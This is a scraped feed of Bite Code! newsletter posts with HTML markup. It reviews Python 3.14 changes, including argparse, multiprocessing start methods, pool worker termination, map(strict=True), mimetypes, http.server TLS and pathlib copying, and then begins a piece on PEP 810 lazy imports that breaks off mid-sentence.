data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:368,&quot;width&quot;:1157,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:96121,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/175944660?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CNjf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 424w, https://substackcdn.com/image/fetch/$s_!CNjf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 848w, https://substackcdn.com/image/fetch/$s_!CNjf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 1272w, https://substackcdn.com/image/fetch/$s_!CNjf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Get the low-hanging fruits from the tree, put them on the table.</figcaption></figure></div><h2><strong>argparse is now more user-friendly</strong></h2><p>Things take time, as the date of this request attests:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1V8C!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1V8C!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 424w, https://substackcdn.com/image/fetch/$s_!1V8C!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 848w, https://substackcdn.com/image/fetch/$s_!1V8C!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 1272w, https://substackcdn.com/image/fetch/$s_!1V8C!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1V8C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png" width="543" height="313" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:313,&quot;width&quot;:543,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:30425,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/175944660?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!1V8C!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 424w, https://substackcdn.com/image/fetch/$s_!1V8C!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 848w, https://substackcdn.com/image/fetch/$s_!1V8C!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 1272w, https://substackcdn.com/image/fetch/$s_!1V8C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e81c416-13c7-4e1e-b2ef-4a46971974a3_543x313.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And today, argparse <a href="https://github.com/python/cpython/issues/66436">supports &#8220;python -m module&#8221; in help</a> correctly. It&#8217;s the little things. </p><p>It also has a new <code>ArgumentParser(suggest_on_error=True)</code> parameter to <a href="https://github.com/python/cpython/issues/124456">let people know about typos on sub-commands</a>, plus the help text is colorized:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cTF8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cTF8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 424w, https://substackcdn.com/image/fetch/$s_!cTF8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 848w, https://substackcdn.com/image/fetch/$s_!cTF8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 1272w, https://substackcdn.com/image/fetch/$s_!cTF8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cTF8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png" width="1327" height="799" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2914893-997f-475e-a831-9e620d635644_1327x799.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:799,&quot;width&quot;:1327,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:173947,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/175944660?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!cTF8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 424w, https://substackcdn.com/image/fetch/$s_!cTF8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 848w, https://substackcdn.com/image/fetch/$s_!cTF8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 1272w, https://substackcdn.com/image/fetch/$s_!cTF8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2914893-997f-475e-a831-9e620d635644_1327x799.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>I <em><strong>really</strong></em> like this trend of improving QoL for the unsexy tools we use every day. It all started with Pablo Galindo Salgado improving the stack trace and error messages (may he reach Valhalla for this), and now the REPL, PDB, argparse... This is great and has tremendous cumulative value.</p><p>A big thank you and much respect to all the people who do this work that doesn&#8217;t put you in the spotlight yet improves all our daily lives.</p><h2><strong>Concurrency options expand</strong></h2><p>Sure, free threading is the big thing in this release, and multi-interpreters, its direct competitor, is consolidating.</p><p>But there are other interesting developments in the concurrency area.</p><p>First, multiprocessing on Linux is changing too, adopting a different default strategy to create a new process. It used to be that &#8220;fork&#8221; was the default behavior when spawning a new process on that platform, but this could cause issues because forked processes inherit a lot from their parent process. This can conflict with shared resources, or if threads are used in the parent.</p><p>While regular forking is always available as an option (if you need perfs or compat), the new default strategy, &#8220;forkserver&#8221;, creates a brand new process using the &#8220;spawn&#8221; strategy. The said process is solely dedicated to forking. Then it forks this dedicated one instead of the parent for each new worker it needs, avoiding the sharing of unwanted things.</p><p>Setting the strategy can be global to the <code>multiprocessing</code> module, and in that case cannot be used more than once:</p><pre><code><code>import multiprocessing as mp

def foo(q):
    q.put(&#8217;hello&#8217;)

if __name__ == &#8216;__main__&#8217;:
    mp.set_start_method(&#8217;fork&#8217;)
    q = mp.Queue()
    p = mp.Process(target=foo, args=(q,))
    p.start()
    print(q.get())
    p.join()</code></code></pre><p>I would not recommend that. Instead, use a context and create a new process from it:</p><pre><code><code>import multiprocessing as mp

def foo(q):
    q.put(&#8217;hello&#8217;)

if __name__ == &#8216;__main__&#8217;:
    ctx = mp.get_context(&#8217;fork&#8217;)
    q = ctx.Queue()
    p = ctx.Process(target=foo, args=(q,))
    p.start()
    print(q.get())
    p.join()</code></code></pre><p>The first version is mostly useful with libraries that don&#8217;t let you pass a context.</p><p>Also note that stuff using PyInstaller and cx_Freeze (or any so-called frozen executable) will not work with &#8220;forkserver&#8221;, so you still need to use &#8220;fork&#8221; if you use those. Distributing Python programs to the end user is a gift that never stops giving.</p><p>Another change, one that is very welcome, is the ability to ensure all workers of a pool executor die. <a href="https://docs.python.org/3/library/concurrent.futures.html#concurrent.futures.ProcessPoolExecutor">ProcessPoolExecutor</a> is by far the simplest way to get basic multi-core concurrency in Python, but making sure all your workers are shut down is work you don&#8217;t want to do.</p><p>We now have <a href="https://github.com/python/cpython/pull/130849">a very heavy hammer for this</a> and can call <code>terminate_workers()</code> (to politely send <code>SIGTERM</code> and the windows equivalent) to all of them. If it doesn&#8217;t work, you can escalate to the bazooka with <code>kill_workers()</code> which does what you think it does.</p><p>Still waiting for a good way to do the same with threads, since cancelling them is still a terrible experience in Python, and is one of the reasons there is so much talk about green threads right now, which would make that a much better experience.</p><p>On top of all this, we have a new pool, <a href="https://docs.python.org/3.14/library/concurrent.futures.html#concurrent.futures.InterpreterPoolExecutor">InterpreterPoolExecutor</a>, which does the same of <code>ThreadPoolExecutor</code> and <code>ProcessPoolExecutor</code>, but for multiple interpreters. It looks and feels like <code>ThreadPoolExecutor</code> because that&#8217;s a subclass, but it has true parallelism since each thread runs with its own GIL. It also pays the same serialization price as <code>ProcessPoolExecutor</code> (using <code>pickle</code>), so I&#8217;m not sure I can find a use case for it. But I get why it&#8217;s there; you need to play with multi-interpreters if you want to find out if they are good at anything.</p><p>Oh, and I almost forgot: sets are now <a href="https://github.com/python/cpython/pull/129949">supported</a> by <code>SyncManager</code>, joining lists and dicts into the exclusive club of data structures you can automatically synchronize between multiple processes (basically a poor man&#8217;s redis).</p><h2><strong>Do you have a moment to talk about our Lord and Savior strict?</strong></h2><p><code>zip(strict=True)</code>, the flag that forces all iterables to be of the same length, is a feature that, when it came out in 3.10, I didn&#8217;t think I would use nearly as much as I did. It saved my butt twice this month already, and I regularly activate the related <code>B905</code> check on ruff.</p><pre><code><code>&gt;&gt;&gt; list(zip([1, 2, 3, 4], [1, 2, 3], strict=True))
Traceback (most recent call last):
  File &#8220;&lt;python-input-1&gt;&#8221;, line 1, in &lt;module&gt;
    list(zip([1, 2, 3, 4], [1, 2, 3], strict=True))
    ~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ValueError: zip() argument 2 is shorter than argument 1
&gt;&gt;&gt; # or TypeError: list() takes no keyword arguments sometimes :D</code></code></pre><p>Now <code>zip()</code> having multiple iterables passed to it is a given; that&#8217;s its main job. But do you know which function can also do that, but that most people don&#8217;t use in that way?</p><p><code>map()</code></p><p>In Python, <code>map()</code> applies a function to each element of an iterable. Or does it? In fact, it can apply a function to elements of any number of iterables we want. You can do this with <code>map()</code>:</p><pre><code><code>&gt;&gt;&gt; # always get the biggest element from those lists
&gt;&gt;&gt; list(map(max, [8, 1, 7, 999], [-1, 82, 3, 4]))
[8, 82, 7, 999]</code></code></pre><p>Which is basically the equivalent of this comprehension list:</p><pre><code><code>&gt;&gt;&gt; [max(x, y) for x, y in zip([8, 1, 7, 999], [-1, 82, 3, 4])]
[8, 82, 7, 999]</code></code></pre><p>And you can spot the problem now, since this is the equivalent of a call to <code>zip(). </code>It has the same need for <code>strict</code>, and it therefore now has the parameter as well:</p><pre><code><code>&gt;&gt;&gt; list(map(max, [8, 1, 7, 999], [-1, 82, 3, ]))
[8, 82, 7]
&gt;&gt;&gt; list(map(max, [8, 1, 7, 999], [-1, 82, 3], strict=True))
Traceback (most recent call last):
  File &#8220;&lt;python-input-0&gt;&#8221;, line 1, in &lt;module&gt;
    list(map(max, [8, 1, 7, 999], [-1, 82, 3], strict=True))
    ~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ValueError: map() argument 2 is shorter than argument 1</code></code></pre><h2><strong>And moar</strong></h2><ul><li><p>We have new <a href="https://untitled+.vscode-resource.vscode-cdn.net/%5Bhttps://docs.python.org/3.14/whatsnew/3.14.html#mimetypes%5D(https://docs.python.org/3.14/whatsnew/3.14.html#mimetypes)">mime types</a>. Lots of them! Woff fonts, mkv, jpeg2000, 7z, .deb, .ogg, .docx, .odg...</p></li></ul><pre><code><code>&gt;&gt;&gt; mimetypes.types_map[&#8217;.deb&#8217;]
&#8216;application/vnd.debian.binary-package&#8217;</code></code></pre><p>Plus a command line to get them:</p><pre><code><code>&#10095; python -m mimetypes filename.7z 
type: application/x-7z-compressed encoding: None
&gt; python -m mimetypes --extension application/vnd.android.package-archive
.apk</code></code></pre><ul><li><p><code>strptime</code><a href="https://github.com/python/cpython/issues/41431"> added to </a><code>datetime.time</code><a href="https://github.com/python/cpython/issues/41431"> and </a><code>datetime.date</code><a href="https://github.com/python/cpython/issues/41431"> objects</a>. We don&#8217;t always need to get a <code>datetime.datetime</code> when we parse stuff \o/</p></li></ul><pre><code><code>&gt;&gt;&gt; datetime.time.strptime(&#8221;12:45&#8221;, &#8220;%H:%M&#8221;)
datetime.time(12, 45)</code></code></pre><ul><li><p><code>python -m http.server,</code> which allows you to start a web server anywhere on your machine and serve the file in the current directory automatically, now <a href="https://github.com/python/cpython/issues/85162">supports SSL</a>:</p></li></ul><pre><code><code>&#10095; python3.14 -m http.server -h | grep tls
                                 [-p VERSION] [--tls-cert PATH]
                                 [--tls-key PATH] [--tls-password-file PATH]
  --tls-cert PATH       path to the TLS certificate chain file
  --tls-key PATH        path to the TLS key file
  --tls-password-file PATH</code></code></pre><ul><li><p><code>pathlib.Path</code> now has recursive directory <a href="https://untitled+.vscode-resource.vscode-cdn.net/%5Bhttps://github.com/python/cpython/issues/73991%5D(https://github.com/python/cpython/pull/123314)">copy/move</a> and <a href="https://github.com/python/cpython/pull/119060/files">deletion</a>, no more back and forth with <code>shutil</code>! The implementation is smart and provides two distinct methods to copy to and copy into, instead of making it dependent on the path passed, like bash does. Also, they cache stats information, and work across file systems. Got bitten by those before, so noice.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nKHl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nKHl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 424w, https://substackcdn.com/image/fetch/$s_!nKHl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 848w, https://substackcdn.com/image/fetch/$s_!nKHl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 1272w, https://substackcdn.com/image/fetch/$s_!nKHl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nKHl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png" width="1178" height="113" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:113,&quot;width&quot;:1178,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:37350,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/175944660?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!nKHl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 424w, https://substackcdn.com/image/fetch/$s_!nKHl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 848w, https://substackcdn.com/image/fetch/$s_!nKHl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 1272w, https://substackcdn.com/image/fetch/$s_!nKHl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e4b9bbb-a912-433f-b365-e88f6ee8da29_1178x113.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Can you imagine if the debugger had a &#8220;subscribe&#8221; button every time you left? Like, I don&#8217;t know&#8230;</figcaption></figure></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption"></p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[What's up Python? Lazy imports, django gets a task queue...]]></title><description><![CDATA[September, 2025. And a bit of October.]]></description><link>https://www.bitecode.dev/p/whats-up-python-lazy-imports-django</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-lazy-imports-django</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sun, 05 Oct 2025 20:46:48 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/ad9360b1-5e23-4d65-adeb-d1d26ac6a3e3_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><ul><li><p><em>Python may finally get lazy imports</em></p></li><li><p><em>Django will definitely get built-in task queues</em></p></li><li><p><em>And a few small stuff.</em></p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>PEP 810: lazy imports</strong></h2><p>I&#8217;m a week late for writing the monthly Python recap, but then something interesting happened: <a href="https://peps.python.org/pep-0810/">PEP 810</a> dropped a few days ago. Technically October&#8217;s news, but it&#8217;s too good to pass on, so let&#8217;s dive into that.</p><p>When you import a module in Python, its entire code is executed. This includes its own contained imports, executing other files, and so on. Because of this, importing a single name from a package can cascade so that almost all of it runs.</p><p>E.G, importing a single function from <code>numpy</code> executes 129 modules!</p><pre><code><code>&#10095; python -c &#8220;import sys; old = len(sys.modules); print(old); from numpy import sum; new = len(sys.modules);print(new) ; print(new - old);&#8221; 

36
165
129</code></code></pre><p>This is an issue in two cases:</p><ul><li><p>One-shot CLI tools. Sometimes the import time dominates the whole execution time. Even running <code>--help</code> could be costly! Mercurial famously suffered from this and had <a href="https://github.com/bwesterb/py-demandimport">special functions to deal with it.</a></p></li><li><p>Very big code bases that pay a huge starting cost because they have so many imports to resolve before being able to do anything. FAANG monorepos are the first victims.</p></li></ul><p>For these reasons, we witnessed year after year new projects using some form of mitigation, like putting imports in function calls, setting <a href="https://snarky.ca/lazy-importing-in-python-3-7/">lazy module attribute getters</a>, or even creating new features. <a href="https://developers.facebook.com/blog/post/2022/06/15/python-lazy-imports-with-cinder/">Cinder, the Facebook Python fork, did the latter.</a></p><p>Lazy imports are the logical solution to this: delay the load of the file, so that it&#8217;s executed not when you write the <code>import</code> statement, but later on, when you access the module content for the first time. When you actually use the module.</p><p><a href="https://peps.python.org/pep-0690/">Lazy imports have been proposed before</a>, but a consensus couldn&#8217;t be found. This time, they could land in Python 3.15 as <a href="https://discuss.python.org/t/pep-810-explicit-lazy-imports/104131/105">the reception has been very positive</a>. It is indeed an elegantly and meticulously crafted PEP, that comes 